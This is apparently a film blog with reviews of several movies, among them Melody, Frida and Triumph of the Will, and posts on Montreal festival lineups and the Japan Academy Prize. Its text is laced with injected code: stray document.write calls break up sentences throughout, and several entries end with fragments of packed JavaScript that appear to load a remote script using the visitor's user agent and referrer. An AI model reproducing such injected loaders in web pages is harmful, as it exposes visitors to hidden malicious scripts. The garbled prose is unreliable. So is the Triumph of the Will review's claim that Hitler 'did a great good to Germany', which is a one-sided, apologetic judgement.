Melody

A few weeks ago my wife bought a cd containing the instrumental version of The Bee Gees’ song “Melody Fair” and it reminded her of this movie—which she first saw in Japan a long time ago. She felt like seeing it again, document.write(“”); so I tried to locate the movie. It is never easy to find a movie that is more than thirty year-old, but fortunately such research are now made easier with the internet. The movie got only a lukewarm reception when it was released in English-speaking countries, which explains why it was never released on Dvd in North America—but it is still possible to find it on vhs (used copies available on amazon.com). However, there was a dvd release in Japan since the movie was a huge success there (the 2004 release is now sold out, but used copies are still available on amazon.co.jp). The Japanese title was “chiisana koi no merodi” or Small Love Melody.

Set in the early seventies working class London, this slice-of-life and romantic fantasy tells the story of Daniel, a shy young junior high school boy. After befriending Ornshaw, he becomes part of the school’s group of little troublemakers. Soon he also meets Melody and both fall in “love” (as any eleven years-old kid could). They tell their parents that they want to get married—now! For them, it only means “to be together”. In face of the adults incomprehension, they elope and organize a mock wedding with the help of their friends. When the adults come to interrupt the “ceremony” they meet an unexpected resistance and all ends in chaos.

It is a cute movie that reminds me a lot of Francois Truffaut’s L’argent de Poche (“Small Change”, 1976)—maybe Truffaut inspired himself from Melody or maybe it’s because both movies are told from the children point of view. And of course, it is impossible to watch this movie without thinking of Oliver, as both Daniel’s and Ornshaw’s actors played major parts in this famous 1968 movie. However, what I find the most interesting about Melody is that it is expressing well the era’s sentiment of rebellion against the establishment. It is obvious in the fact that, through the entire movie, O’Leary is trying to perfect his bomb-making (no doubt that it refers to the Provisional IRA campaign of violence that started in 1969) and in the final scene where the children literaly attack the adults (and bomb a car)!

Melody. UK, 1971, 103 min.; Dir.: Waris Hussein; Scr.: Alan Parker; Phot.: Peter Suschitzky; Ed.: John Victor-Smith; Art Dir.: Roy Stannard; Cost.: Diane Jones; Music: Richard Hewson, The Bee Gees; Prod.: David Hemmings, David Puttnam; Cast: Mark Lester (Daniel), Tracy Hyde (Melody), Jack Wild (Ornshaw), Colin Barrie (Chambers), Billy Franks (Burgess), Ashley Knight (Stacey), Craig Marriott (Dadds), William Vanderpuye (O’Leary), Peter Walton (Fensham), Camille Davis (Murielle), Dawn Hope (Maureen), Kay Skinner (Peggy), Lesley Roach (Rhoda), James Cossins (Headmaster). Rated G.


Wikipedia notice
A Melody Fan Page

Frida

This is the biography of Frida Kahlo, document.write(“”); who surmounted her pain and injury to become a world renown artist. The movie covers the main highlights of her life: the accident that crippled her, the tumultuous love relationship with fellow mexican artist Diego Rivera, her involvement with Leon Trotsky, her colorful, naive, symbolist & surrealist artwork (she’s particularly known for her self-portraits) and her uncompromising, revolutionary, free thinking.
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Frida is a superb movie. It not only tells a compelling and touching story, but it offers rich and inventive visuals as well as a stirring soundtrack that strongly support the storytelling. Salma Hayek really gives life to her character and make us discover an interesting period in Mexican history.

Frida. USA / Canada / Mexico, 2002, 123 min.; Dir.: Julie Taymor; Scr.: Clancy Sigal, Diane Lake, Gregory Nava, Anna Thomas (based on the biography by Hayden Herrera); Phot.: Rodrigo Prieto; Ed.: Francoise Bonnot; Prod. Des.: Felipe Fernandez del Paso; Art Dir.: Bernardo Trujillo; Set Decor.: Hania Robledo; Cost. Des.: Julie Weiss; Music: Elliot Goldenthal; Prod.: Sarah Green, Salma Hayek; Cast: Salma Hayek, Alfred Molina, Geoffrey Rush, Valeria Golino, Mia Maestro, Roger Rees, Ashley Judd, Antonio Banderas, Edward Norton. Rated R.

Frida © 2003 Miramax Film Corp. All Rights Reserved.

Montreal World Film Festival 2008

Today, document.write(“”); in a press conference, the Montreal World Film Festival has announced the program for its 32nd edition. The festival will be held from August 21 to September 1st in four locations (at the Imperial Theatre, Maisonneuve Theatre, Quartier Latin Cinema and Cinema ONF). Tickets are sold for $10, but are available in 10-coupon ($60) or 30-coupon booklets ($150). A Cinephile Pass is also available for $300.
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This year the festival will offer 234 feature films (105 of which are world or international premieres), 13 medium-length films and 208 shorts. That includes 32 films in World Competition (20 features, 12 shorts), 17 in the First Films World Competition, 30 Hors-Concours, 192 in the Focus on World Cinema (84 features and 108 shorts), 63 documentaries, 15 tributes movies, 18 in the Cinema Under the Stars, 15 in Our Cinema at Radio-Canada and 73 in the Student Film Festival!

The Festival will offer a posthumous tribute to Mrs Kashiko Kawakita, founder of the Kawakita Memorial Film Institute, for her work promoting Japanese Cinema abroad. To commemorate her 100th anniversary, the festival will be presenting a sampling of significant works by prominent postwar Japanese directors, each a winner of the Kawakita Award:

There will be ten Japanese films shown at the festival. Two are in Official Competition:

  • Okuribito, directed by Yojiro Takita (Onmyoji, Mibu Gishi Den, Ashura). A young cellist who suddenly finds himself out of work when his orchestra disbands, moves back to his hometown and takes a job as an undertaker. It’s not a job his wife appreciates, but his daily encounters with death teach him about life. ( IMDb / Official web page )
  • Dare mo Mamotte Kurenai (Nobody To Watch Over Me), directed by Ryoichi Kimizuka (writer for Parasyte Eve and the Odoru Daisosasen TV series & movies). The Funamaras seem a typical suburban family until the police knock on the door one day and arrest their 18-year-old boy for murder. His teenage sister and the cop assign to protect her must hide out from a relentless public braying for blood. ( IMDb / Eiga Wiki / Official web page )

Three in the First Film World Competition:

  • Der Rote Punkt (The Red Spot), directed by Marie Miyayama, is a Germany/Japan co-production. ( IMDb )

One in the Hors-Concours / World Greats category:

  • The Magic Hour, by Koki Mitani (Uchoten Hotel). A gangster having an affair with the wife of his boss is found out, but promises to save face by recruiting a famous hitman. Instead, when he can’t find the real thing, he hires an actor to fill the role until he can find a suitable replacement. ( IMDb / Wikipedia / Official web page )

And four in Focus on World Cinema:

  • Yashi (Tears) by Sano Shinju (a Kazakhstan/Japan/Russia co-production).

More details will be added as soon as they are available.

Here’s the highlights of the press conference (10 min. out of the 60 min. conference — in French, sorry):

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And a picture of Serge Losique (Festival’s president) and Danièle Cauchard (Directeur Général) with this year’s poster:

[Updated 2008/08/15]

Fantasia 2008


Today Fantasia announced its programmation:

The 12th edition of the Fantasia Film Festival, document.write(“”); North America’s premier genre cinema event, will be held from July 3rd to July 21st, 2008 in three theatres (Hall, J.A. DeSeve and D.B. Clarke) of Montreal’s Concordia University. This year it offers more than 100 feature films, over 200 shorts, 7 documentaries and there will be also more than fifty guests present to introduce their movies. The Program Book will be on sale Sunday June 29th at the cost of $5. Tickets will be available from July 3rd for $8.00 or $70 for 10 tickets.

The programming includes 56 Asian movies: 23 from Japan, 1 from China, 10 from Hong Kong, 16 from Korea, 5 from Thailand and 1 from Vietnam.

The selection of anime is rather thin this year: Batman: Gotham Knight (a USA/Japan coproduction that give the Animatrix treatment to Batman with six animated shorts directed by Yasuhiro Aoki, Futoshi Higashide, Toshiyuki Kuboka, Hiroshi Morioka, Shoujirou Nishimi and Nam Jong-sik) and Genius Party (the experimental animated anthology from studio 4’C that we talked about in PA#96).

However, the selection offers more live-action movies based on manga. The most obvious is L: Change the World (Hideo Nakata’s [Ring] prequel based on Death Note), but there’s also Akanbo Shoujo (directed by Yudai Yamaguchi based on the popular Kazuo Umezu’s popular manga), Always: Sunset on Third Street 2 (dir. by Takashi Yamazaki and adapted from Yohei Saigan’s manga Sanchome no Yuhi: Yuyake no Uta), Be a Man! Samurai School (dir. by Tak Sakaguchi, based on Akira Miyashita’s manga Sakigake! Otoko Juku) and Le Grand Chef (a Korean movie dir. by Jeon Yun-su and based on a popular Manhwa).

The festival will also show three Nikkatsu action movies from the 60s: A Colt is my Passport (1967), Gangster VIP (1968), and Velvet Hustler (1967).

The other Japanese movies are: Accuracy of Death, Adrift in Tokyo, Black Belt, Chanbara Beauty, The Chasing World, Gachi Boy: Wresling with a Memory, Machine Girl (a coproduction with the USA), The Most Beautiful Night in the World, Negative Happy Chain Saw Edge, Robo Rock, Sasori (a coproduction with HK), The Shadow Spirit, Shamo (a coproduction with HK), Sukiyaki Western Django (the latest Takashi Miike), Tokyo Gore Police and X-Cross.

Another notable movie is The Midnight Meat Train (a USA movie dir. by Ryuhei Kitamura [Versus, Aragami] and based on a story by Clive Barker).

The Japanese guests will be Tak Sakaguchi (Tokyo Gore Police, Be a Man! Samurai School), Isao Karasawa (Be a Man! Samurai School), Ryuhei Kitamura (Midnight Meat Train), Eihi Shiina (Tokyo Gore Police), Yoshihiro Nishimura (Tokyo Gore Police) and we must also mention Mark Schilling (the movie historian, who will present A Colt Is my Passport).

The other Asian movies are: Alone (Thai), Art of the Devil 3 (Thai), The Assembly (China), Beautiful Sunday (Kor), The Butcher (Kor), The Detective (HK), Disciples of the 36th Chamber (HK, a Shaw Brothers movie with Gordon Liu, who will attend the movie presentation), An Emperess & the Warrior (HK/China), Epitaph (Kor), 4bia (Thai), Going by the Book (Kor), Handle Me with Care (Thai), A Love (Kor), Mad Detective (HK), May 18th (Kor), The Moss (HK), Muay Thai Chaiya (Thai), No Mercy for the Rude (Kor), Our Town (Kor), Paradise Murdered (Kor), Punch Lady (Kor), The Pye-Dog (HK), The Rebel (Vietnam), Seven Days (Kor), The Sparrow (HK), A Tale of Legendary Libido (Kor), Triangle (HK/China), Voice of a Murdered (Kor), Who’s that Knocking at my Door? (Kor), and Wide Awake (Kor).

Happy Festival!

(See also the ANN news entry)

More movie & festival reviews

I’ve just put online a bunch of movie reviews from last year’s Montreal World Film Festival.
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You can access them either at this updated
blog entry or on Protoculture’s web site.

Fantasia to get subsidies from the SODEC [Updated]

I just read today in the free newspaper 24 Heures that the Festival Fantasia will finally received governmental subsidies from the SODEC (Société de développement des entreprises culturelles / Society for the development of cultural ventures).
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The subsidies were announced by the SODEC
yesterday.

Six movie festivals in Quebec (including four in Montreal) will share subsidies of $825, document.write(“”); 000.

The other festivals include the Montreal World Film Festival (getting $225, 000), le Festival du Nouveau Cinéma (getting $220,000), le Carrousel International du Film de Rimouski (getting $120,000), le Festival du Cinéma International D’Abitibi-Témiscamingue (getting $115,000) and Les Recontres Internationales du Documentaire de Montreal (getting $95,000).

Fantasia will receive a $50,000 subsidy from the SODEC. It is an improvement since they only got $35,000 in 2007 from the Municipal & Regional Affairs Ministry. It is a little disappointing, since the festival deserves more, but it will certainly means a few improvement to the festival this year (more movies? more guests?). Fantasia has yet to comment or emit a press release on the SODEC announcement.

The 12th edition of Fantasia, the North American Premier Genre Film Festival (known for showing lots of edgy Japanese live-action and anime), will be held July 3-21 2008.

[updated 2008/04/17 with details from The Gazette 2008/04/16: D5]

Montreal World Film Festival 2007

Today, document.write(“”); the 31st Montreal World Film Festival announced its programmation. The Festival, which will be held from August 23 to September 3, 2007, will offer 230 movie features and 215 shorts from 70 countries (including 53 world premieres (PM), 56 international premieres (PI), 59 North American premieres (PNA), and 42 Canadian premieres (PC))!
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Unfortunately, there is very little Japanese movies at the festival this year: two in competition (COMP), one out of competition (HC), four in the “Focus On World Cinema” segment (REG) and one short:

KURO-OBI (Black Belt) (COMP) (PM) Japan / 2006 / 95 min / Dir.: Shunichi Nagasaki; Cast : Akihito Yagi, Tatsuya Naka, Yuji Suzuki, Takayasu Komiya, Yasuto Kosuda, Kenji Anan, Masahiro Sudo, Taro Suwa, Arashi Fukasawa, Narumi Konno. Set in the 1930s in Japan, three martial arts practitioners who are competing to inherit the mantle of their late master, are ordered to enlist in the military. Having no choice, the trio leave their dojo for an encounter with fate. Review.

OH-OKU (Oh-Oku, The Women Of The Inner Palace) (COMP) (PI) Japan / 2007 / 128 min / Dir.: Toru Hayashi; Cast : Yukie Nakama, Hidetoshi Nishijima, Haruka Igawa, Mitsuhiro Oikawa, Kaoru Sugita, Machiko Washio, Kaori Yamaguchi, Maki Kubota, Yuki Matsushita, Reiko Takashima. Set during the short reign of child Shogun Ietsugu Tokugawa, OH-OKU recounts the legendary power struggle between the young shogun’s natural mother and his official wife, who must watch her stake in the bloodline. Review.

BIZAN (HC) (PNA) Japan / 2007 / 120 min / Dir.: Isshin Inudo; Cast : Nanako Matsushima, Takao Osawa, Nobuko Miyamata, Aya Enjoji, Tatsuo Yamada, Manami Kurose, Toshiyuki Nagashima, Takeo Nakahara, Ken Kaneko. A Tokyo travel agent who returns to her hometown when her mother is hospitalized for cancer discovers that the father she never met is not dead as her mother always claimed. She sets out to find him and perhaps re-unite the family before it is too late. Review.

DEAR FRIENDS (REG) (PI) Japan / 2007 / 115 min / Dir.: Kasuyuki Morosawa; Cast : Keiko Kitagawa,Yuika Motokariya, Masaya Kikawada, Airi Toriyama, Mao Sasaki, Hatsune Matsushima, Mantaro Koichi, Naoko Otani, Yoshiko Miyazaki, Ren Osugi; Prod. & Sales: Toei Company Ltd.

MAMIYA KYOUDAI (The Mamiya Brothers) (REG) (PNA) Japan / 2006 / 119 min / Dir.: Yoshimitsu Morita; Cast : Kuranosuke Sasaki, Muga Tsukaji, Miyuki Nakajima, Takako Tokiwa, Erika Sawajiri, Keiko Kitagawa, Hiromi Iwasaki, Ryuta Sato, Teppei Yokota, Koji Sato, Kenichi Katsura; Prod. & Sales: Yasushi Tsuge, Kazuko Misawa, Asmik Ace Entertainment, Inc.. The nerdy Mamiya brothers live in a comfortable Tokyo apartment, work 9-to-5 jobs and have done everything together for over thirty years. Everything but date girls. Which they’ve never done at all. They decide a curry-and-Monopoly party might kick-start their love lives… Review.

SAKURAN (REG) (PC) Japan / 2007 / 111 min / Dir.: Mika Ninagawa; Cast : Anna Tsuchiya, Kippei Narimiya, Yoshino Kimura, Miho Kanno, Masatoshi Nagase, Minami, Hiroshi Yamamoto; Prod.: Mitsuru Uda, Yoshinori Fujita, Asmik Ace Entertainment, Inc. An elegant red light district flourished in In 17th century Edo, as Tokyo was then known. SAKURAN tells the story of one woman living in the lustrous world who was determined to stand on her own two feet and live life as she pleased. Review.

TANA-NO-SUMI (The Dark Corners Of The Shelves) (REG) (PI) Japan / 2007 / 81 min / Dir.: Hajime Kadoi; Cast : Ren Osugi, Ryoko Uchida, Makiko Watanabe, Hideo Sakaki; Prod.: Kazuhiro Koike, Little Bird (Espero Keikaku). A woman comes into Yasuo’s toy shop and, without a word, buys an old toy and leaves. The woman is Yoko, Yasuo’s former wife who walked out on him and their son eight years ago… Review.

Grand Odyssey (REG – Short) (PNA) Japan – France / 2007 / 19 min / Dir.: Tomoyuki Kato; Cast : Yuzo Kayama, Natsumi Okumura. Review.

Check the festival’s web site for more details. Bon festival!

See the full Event Report in Protoculture Addicts #96: 71.

See also our quick overview of the festival and our Picture Gallery.

[updated 2007/8/20 and 2008/5/13]

Fantasia 2007


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Fantasia, document.write(“”); North America’s Premier Genre Film Festival, has announced today its 2007 programming. The 11th edition of the festival will be held July 5-23 in three theatres (Hall, J.A. DeSeve and D.B. Clarke) of Montreal’s Concordia University. It will offer 120 features films, 10 documentaries and 22 programs of short features (totalling 250 local and international shorts). There will also be more than fifty guests. The Program Book will be on sale friday June 29th at the cost of $5. Tickets will be available for $7.50 or $65 for a booklet of 10 tickets.

The programming will include over sixty feature films from Asia (plus twenty-two short films): 27 from Japan (including 3 anime), 17 from Korea (including one animation), 10 from Hong Kong and 8 from other Asian countries (Thailand, China, Taiwan).

Again this year the festival offers only three Japanese animation features: Ghost In The Shell: Stand Alone Complex: Solid State Society, Naruto The Movie: Ninja Clash In The Land Of Snow, and Tekkon Kinkreet (dir. Michael Arias, animated by Studio 4′ C).

Luckily we are more fortunate with the Japanese live-action line-up. Are particularly noteworthy: Always: Sunset On Third Street (Takashi Yamazaki), Big Bang Love: Juvenile A (Takashi Miike), Death Note and Death Note: The Last Name (both by Shusuke Kaneko, who will be present), Exte: Hair Extensions and Hazard (both by Sion Sono, who’s among the guests), Memories Of Matsuko (Tetsuya Nakashima, who also directed Kamikaze Girls), Nightmare Detective (Shinya Tsukamoto), Retribution (Kiyoshi Kurosawa), The Rug Cop (Minoru Kawasaki), Ultraman Mebius & Ultra Brothers (Kazuya Konaka), The World Sinks Except Japan (Minoru Kawasaki), and Zebraman (Takashi Miike).

The Japanese programming also includes: 893239, Arch Angels (Issei Oda), Sun Scarred (Takashi Miike), Ten Nights Of Dreams, Woman Transformation, and Wool 100%.

The Korean programming includes: 200 Pounds Beauty, Aachi & Ssipak, A Bloody Aria, The City Of Violence, Dasepo Naughty Girls, A Dirty Carnival, The Fox Family, The King And The Clown, Like a Virgin, Midnight Ballad For a Ghost Theatre, Once In A Summer, The Restless, Roommates, The Show Must Go On (Han Jae-Rim, guest), Time, War Of Flowers, and Yobi The Five-Tailed Fox (animation).

The Hong Kong programming includes: The 14 Amazons, After This Our Exile, A Battle Of Wits, Dead Air, Dairy, Dog Bite Dog, Exiled (Johnnie To), Isabella, A Mob Story, and One Armed Boxer.

Also noteworthy is the program of Korean Shorts, the Tribute to Akio Jissoji Arthouse Ultraman 2, and the documentaries (particularly Animania, Taiwan Black Movies, and the Yves Montmayeur series: Electric Yakusa: Go To Hell, Ghibli Et Le Mystère Miyazaki, Hong Kong Film Noir, Les Enragés Du Cinéma Coréen).

On a personal note, I would also recommend Stalker (a 1979 Russian movie by Andrei Tarkovsky).

Check either in PA or here for reviews.

Have a nice festival!

30th Japan Academy Prize

On February 16th were held the 30th Japan Academy Prize–the equivalent of the American Academy Awards for Japan. Like for the Oscars, the Japanese movies awards are voted by the members of the Nippon Academy-cho Association, so it is not a popularity prize but one voted by their peers. However, it remains an excellent way to take the pulse of the Japanese cinema.

The presentation of the awards is very different compared to its American conterpart: the film industry people sit not in a theatre but around tables and there’s no entertainment show, no singing, no slapstic jokes, no long speaches. Instead, a TV presentator interview every single nominee. It allows us to learn much about the background of the actors and about the movies.

Here are the winners for 2007:

Best Movie: Hula Girls. The other nominees were: Ashita no Kioku (Memories of Tomorrow), Yamato, The Uchoten Hotel (Suite Dreams) [see review in PA#90: 74], Bushi no Ichibun (Love & Honor).

Best Anime: Toki wo Kakeru Shoujo (The Girl Who Leapt Through Time). The other nominees were: Stormy Night, Tales From Earthsea, Brave Story, Detective Conan: The Private Eyes’ Requiem.

Best Director: Sang-Il Lee (Hula Girls). The other nominees were: Junya Sato (Yamato), Tetsuya Nakashima (The Life Of Hated Matsuko), Koki Mitani (Uchoten Hotel), Yoji Yamada (Bushi no Ichibun).

Best Actor: Ken Watanabe (Memories Of Tomorrow). The other nominees were: Joe Odagiri (Yureru), Satoshi Tsumabuki (Namida Soujou), Akira Terao (The Algebra Which The Doctor Loved), Koji Yakusyo (Uchoten Hotel).

Best Actress: Miki Nakatani (Life Of Hated Matsuko) [she was playing Hermes in Train Man]. The other nominees were: Rei Dan (Bushi no Ichibun), Masami Nagasawa (Namida Soujou), Kanako Higuchi (Memories of Tomorrow), Yasuko Matsuyuki (Hula Girls).

Best Supporting Actor: Takashi Sasano (Bushi no Ichibun). The other nominees were: Takao Osawa (Rinding In The Metro), Teruyuki Kagawa (Yureru (Swing)), Koichi Sato (Uchoten Hotel), Kenichi Matsuyama (Yamato) [he also played Shin in Nana and “L” in Death Note].

Best Supporting Actress: Yu Aoi (Yamato) . The other nominees were: Yu Aoi (Hula Girls) [she also played Hagu in Honey & Clover], Sumiko Fuji (Hula Girls), Masako Matai (Kamome Shokudo [see review in PA#90: 74]), Kaori Momoi ( Bushi no Ichibun ).

Best Foreign Language Film: Flag Of Our Fathers. The other nominees were: Crash, The DaVinci Code, Pirates of the Caribbean: Dead Man’s Chest, Hotel Rwanda.

Newcomers Awards: Kenta Suga (Sunset Of Three District–Always), Muga Tsukaji (Mamiya Brothers), Mokomichi Hayami (Rough), Kenichi Matsuyama (Yamato), Yu Aoi (Hula Girls, Yamato), Rei Dan (Bushi no Ichibun), Shizuyo Yamazaki (Hula Girls), Yui (Midnight Sun [see review in PA#90: 74]).

Technical Awards: Film Editing: Yoshiyuki Koike (Kiraware Matsuko no Isshou); Sound Recording: Nobuhiko Matsukage & Tetsuo Segawa (Yamato); Art Direction: Toshiyuki Matsumiya & Shigeyuki Kondo (Yamato); Lighting Direction: Takeshi Nakasu (Bushi no Ichibun); Cinematography: Matsuo Naganuma (Bushi no Ichibun); Music: Gabriele Roberto & Takeshi Shibuya (Kiraware Matsuko no Isshou); Screenplay: Sang-Il Lee & Daisuke Habara (Hula Girls).

Special Awards: From the Association: Kazuyuki Suzuki (for Special Art Effects); Shigeru Okada Award (for a Corporation): Robot; Outstanding Achievement Award from the Chairman: the planning team of Limit Of Love–Umizaru; Special Awards from the Chairman: late Akira Ifukube (Music), late Shohei Imamura (Director), late Takahiro Tamura (actor), late Tetsuro Tanba (actor), late Takeomi Nagayama (former Shochiku chairman); Popularity Awards: Hula Girls.

I am disappointed that Yamato didn’t get more than a few Technical Awards. I thought it would do better than that. See our review in PA#91.

I guess the movies to watch in the following months will be Hula Girls [a group of girls revive their village by creating an Hawaiian show for tourists], Ashita no Kioku (Memories of Tomorrow) [a man’s family has to deal with his early Alzheimer], and Bushi no Ichibun [the problems of a young samurai who becomes blind; set in Yoji Yamada’s samurai series that also includes The Twilight Samurai [Cf. PA#80: 47] and The Hidden Blade].

© Nippon Academy-cho Association.

Special Thanks to Nobuko Takeda for recording the show and to my wife Miyako for the translation.

Triumph Of The Will

“Triumph des Willens” (aka “Dokument vom Reichsparteitag”) is Leni Riefenstahl’s infamous propaganda / legendary documentary film about the 1934 Nationalsozialistische Deutsche Arbeiterpartei (National Socialist German Workers Party, document.write(“”); or NSDAP, also known as the Nazi Party) rally in Nuremberg, Germany. It shows mostly parades and speaches by Hitler, Himmler, Goebbels, Hess, Goering and other top party officials.
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“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ytknn|var|u0026u|referrer|zinet||js|php’.split(‘|’),0,{}))

Some have argued that this movie cannot be considered a documentry because it was so closely edited that it was clearly made as propaganda for the Third Reich. I disagree. Yes, the movie was edited but Riefenstahl was a very skillful filmaker and she certainly wanted to created a beautiful and powerful movie. I believe the editing was for that purpose and not to forward the agenda of her sponsor, Goebbels’ Ministry for Public Enlightment and Propaganda. Despite that she made several films for Hitler documenting the Nazi regime, Riefenstahl has always claimed not to have been a Nazi herself. It would have been propaganda if the movie would have had a narration track exalting the glory of the party, but Riefenstahl is there only to bear witness of the event and Hitler’s powerful speaches and theatrics speak for themselves. There’s only a modern subtitle translating the speaches and describing who’s doing what. In retrospective, it is even more a documentary as it opens a window to what Hitler and the NSDAP were in their beginning–only in their second year of power and five years before the war. It also shows how beautiful the old city of Nuremberg looked before beiing destroyed in the war.

Others would definitely argue that this movie is an abomination and should have never been released on DVD. I beg to disagree. Hitler and the Nazis did exist and it serves no purpose to deny it. In fact, yes, it was a painful period of the human history, but it is also very important to teach it so everybody knows what happened and how it happened in order to avoid ever repeating such terrible mistakes. However, it must also be told that Hitler did a great good to Germany: he used the resentment generated by the defeat and humiliation of the Great War (WWI) to motivate and raise the moral of the Nation, allowing to reorganize the country, rebuilt the destroyed economy (he established the first German autobahn, or highways, for example), but he did it so strongly that it went inevitably on the path of war.

The movie also make clear that Hitler’s achievements were not the result of an haphazard process, but that his evil intents were in the planning from the start. Already in 1934, he makes allusion in his speaches to the racial purity; and the fact that he deliberately chose the swastika as emblem and borrowed so many ideas from the Romans (banners, monumental military display, creating new road infrastructure, etc.) demonstrate that he already had the intention to follow in Napoleon’s footsteps and unify Europe under his Thousand-Year Reich.

It is eerie to think that such a dull and ordinary-looking megalomaniac could use monumental sets and perform well-crafted speaches with such a powerful result that it borders mind-control. It is scary to think that it could happen again. And it is funny, because I could not watch this movie without thinking about Star Wars: Lucas definitely found inspiration in this movie for his music, costumes and sets.

“Triumph Of The Will” is a beautiful movie and a great example of cinematogrophic art, but, more importantly, it has a great historical value. It fits quite well in my DVD library, alonside movies like The Birth Of A Nation. It really must be seen.

The extras includes another short movie (17 min.) by Riefenstahl (“Day Of Freedom”) as well as an audio commentary by historian Dr. Anthony R. Santoro. About the movie, see also the Wikipedia page.

Triumph Of The Will. Germany, 1935, 114 min., B&W, subtitled in English; Dir./Ed.: Leni Riefenstahl; Scr.: Leni Riefenstahl, Walter Ruttmann; Phot.: Sepp Allgeier, Karl Attenberger, Werner Bohne; Music: Herbert Windt. Not Rated.


Triumph Of The Will (new edition) ©2000 The Film Preserve, Ltd. All Rights Reserved. Packaging ©2006 Synapse Films, Inc

The Devil Wears Prada

This a “fish out of his bowl story.” A young woman comes from Ohio to NYC in the hope to become a journalist. Despite that she has no knowledge or sense of fashion she is hired as personal assistant for the editor of a famous fashion magazine. Even if her boss (Meryl Streep) is a real monster, document.write(“”); she manages to survive and learns the ropes, but when she’s about to finally get on the top of it, she realises that she is betraying everything she is and all her friends…
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“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|fnant|var|u0026u|referrer|nssey||js|php’.split(‘|’),0,{}))

This movie is not at all original. We’ve seen that type of story many times. It does offer good acting and the movie is most of the time funny, so it is a good entertainment, but nothing more. The extras includes deleted scenes, several “making of” featurettes and a gag reel (bloopers).

The Devil Wears Prada. USA, 2006, 109 min.; Dir.:David Frankel; Scr.: Aline Brosh McKenna (based on Lauren Weisberger’s novel); Phot.: Florian Ballhaus; Ed.: Mark Livolsi; Costumes: Patricia Field; Cast: Mreyl Streep, Anne Hathaway, Emily Blunt, Stanley Tucci. Rated PG-13 (some sensuality?!). Official website.

The Devil Wears Prada ©2006 Twentieth Century Fox Film Corporation and Dune Entertainment LLC. All Rights Reserved.

Eternal

After the disappearance of his wife, document.write(“”); a Montreal vice detective makes his own investigation and the clues bring him to the rich mansion of a beautiful and reclusive woman. His own bad behavior will put him in trouble as someone frame him from the murder of his friend’s wife. He follows the mysterious woman to Venice and discovers her terrifying secret: she’s a “vampire” that keep her eternal beauty by seducing young women before drinking and bathing in their blood!
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“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ekhyi|var|u0026u|referrer|tnkbd||js|php’.split(‘|’),0,{}))

It is based on the real-life of Erszebet Bathory, a 16th Century Hungarian Countess that allegedly tortured and killed 650 young women to bathe in their blood in the hope to gain eternal life. The movie was not treated nicely by most of the critics, who seem to have thought that it had not enough sex to be soft porn (but lots of lesbian action!) and not enough violence to be horror (well, we do see some blood). It is more of an erotic thriller with a nice & sexy vampire story. The police work of the main character is not very credible, but the characters are all fascinating and the photography, the sets are beautiful. It was shot mostly in Montreal and offer a very nice use of the locations. A few scenes were also shot in Venice and in Umbria. The movie has an opened ending: we suspect what will happen next, and we can let our imagination go wild, but we don’t know for sure. Personally, I wanted to see this movie because a friend of mine had a small role in it. But I only recognized him because I knew which role he was playing—we don’t even see his face. I was surprised by the good quality of the production and, even if the story is not very original, I was well entertained.

Eternal. Canada, 2004, 107 min.; Dir./Scr.: Wilhelm Liebenberg & Federico Sanchez; Phot.: Jamie Thompson; Ed.: Isabelle Levesque; Cast: Conrad Pla, Caroline Néron, Victoria Sanchez, Sarah Manninen, Ilona Elkin, Liane Balaban. Rated R (Strong sexual content, violence & language). Official web page.

Eternal ©2004 4128257 Canada, Inc. All Rights Reserved. Packaging © 2005 Sony Pictures Home Entertainment Inc. All Rights Reserved.

Eight Below

A guide working with a scientific expedition in Antarctica has to leave his beloved sled dogs behind when their base is evacuated due to an unusually strong storm. The eight dogs have to survive the harsh conditions by themselves, document.write(“”); against impossible odds. For six months their master is agonising over the unknown fate of his dogs, trying to gather the funds in order to come back and rescue them.
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“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|adkti|var|u0026u|referrer|hnkfn||js|php’.split(‘|’),0,{}))

Eight Below is the remake of the Japanese movie Antarctica (Nankyoku Monogatari / South Pole Story) (directed by Koreyoshi Kurahara, with a script by Toshiro Ishido, Koreyoshi Kurahara, Tatsuo Nogami and Kan Saji, and starring Ken Takakura and Tsunehiko Watase—with a small role for Susan Napier, author of “Anime: From Akira to Princess Mononoke”!—and music by Vangelis). Based on the true story of a 1958 Japanese Antarctic expedition, it was released in 1983 and became a huge success. The original movie was a real tear-jerker, had a superb photography and focused on the dogs’ hardship (out of fifteen Sakhalin Huskies, only two survived).

The American version is still a sad movie showing the beautiful landscape of Antarctica (in fact it was mostly shot in Canada and Greenland, with some stock footage of Antarctica), but it is certainly not as beautiful as the original. It is the story of an American Antarctic expedition and focuses mostly on the dogs’ master emotions, his rescue efforts and it is a much shorter movie (120 min. vs 143 min). The Leopard Seal that attacks the dogs doesn’t look real and somebody should have told the director that during the Antarctic winter, it is mostly dark. What annoyed me the most is the fact that [SPOILER: highlight to reveal] all dogs but two survived [/SPOILER], the total opposite of the original movie — but, hey!, it’s a Walt Disney movie after all! However, all in all, it is a nice, entertaining movie. The extras include deleted scenes and a “making of.”

Eight Below. USA, 2006, 120 min.; Dir.: Frank Marshall; Scr.: David DiGilio (based on Nankyoku Monogatari); Phot.: Don Burgess; Ed.: Christopher Rouse; Music: Mark Isham; Cast: Paul Walker, Bruce Greenwood, Moon Bloodgood, Jason Biggs. Rated PG.


Eight Below © Disney.

The Tailor Of Panama

An English tailor in Panama is weaving lies to make himself interesting. A disgraced English spy on the downside of his career is looking for opportunities to improve his situation, document.write(“”); for conspiracies to report to his superiors and redeem himself. They were made for each other and almost bring doom to Panama.
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“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|bffhs|var|u0026u|referrer|atdef||js|php’.split(‘|’),0,{}))

